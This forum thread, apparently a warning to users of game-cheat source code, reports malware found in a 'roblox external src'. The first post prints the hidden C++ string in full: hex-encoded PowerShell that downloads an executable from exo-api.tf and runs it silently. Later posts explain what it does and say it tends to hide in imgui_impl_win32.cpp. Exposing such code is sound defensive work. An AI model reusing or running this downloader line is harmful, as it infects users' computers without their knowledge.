malware found

1. 🚀 2026-05-29 22:16:09 editado 🔗
   i found this in a "roblox external src" std::string Ffo8yndd9ybn81i0u9x1hxuuxnlvgvf = "\x73\x74\x61\x72\x74\x20\x2f\x6d\x69\x6e\x20\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x70\x6f\x77\x65\x72\x73\x68\x65\x6c\x6c\x20\x2d\x57\x69\x6e\x64\x6f\x77\x53\x74\x79\x6c\x65\x20\x48\x69\x64\x64\x65\x6e\x20\x2d\x43\x6f\x6d\x6d\x61\x6e\x64\x20\x22\x26\x20\x7b\x20\x69\x77\x72\x20\x2d\x55\x72\x69\x20\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x65\x78\x6f\x2d\x61\x70\x69\x2e\x74\x66\x2f\x53\x74\x62\x2f\x52\x65\x74\x65\x76\x2e\x70\x68\x70\x3f\x62\x6c\x3d\x6f\x79\x37\x44\x44\x69\x6b\x77\x55\x6d\x58\x78\x79\x59\x39\x36\x38\x45\x50\x52\x45\x30\x30\x38\x2e\x74\x78\x74\x27\x20\x2d\x4f\x75\x74\x46\x69\x6c\x65\x20\x24\x65\x6e\x76\x3a\x41\x50\x50\x44\x41\x54\x41\x5c\x42\x4b\x37\x37\x33\x32\x30\x31\x2e\x65\x78\x65\x3b\x20\x53\x74\x61\x72\x74\x2d\x50\x72\x6f\x63\x65\x73\x73\x20\x2d\x46\x69\x6c\x65\x50\x61\x74\x68\x20\x24\x65\x6e\x76\x3a\x41\x50\x50\x44\x41\x54\x41\x5c\x42\x4b\x37\x37\x33\x32\x30\x31\x2e\x65\x78\x65\x20\x2d\x57\x69\x6e\x64\x6f\x77\x53\x74\x79\x6c\x65\x20\x48\x69\x64\x64\x65\x6e\x20\x7d\x22";
2. 🚀 2026-05-29 22:16:26 🔗
   and if you convert it
3. 🚀 2026-05-29 22:16:30 🔗
   it goes to
4. 🚀 2026-05-29 22:16:43 🔗
   • 
5. 🚀 2026-05-29 22:17:18 🔗
   it goes to "https://dhszo.darkside.cy/"
6. 🚀 2026-05-29 22:17:42 🔗
   pleae always look at all code when downloading a src and always check the imgui files
7. 🚀 2026-05-29 22:19:00 editado 🔗
   it in chagpt words
8. 🚀 2026-05-29 22:19:07 🔗
   It silently opens a hidden PowerShell window, downloads an executable (BK773201.exe) from exo-api.tf into your AppData folder, and immediately runs it without showing anything to the user. In other words, it's a downloader whose purpose is to fetch and execute another program from the internet in the background.
9. xwqivz 2026-05-30 08:30:42 🔗
   Thats around for months now
10. xwqivz 2026-05-30 08:33:34 🔗
    it will most likely sit in imgui_impl_win32.cpp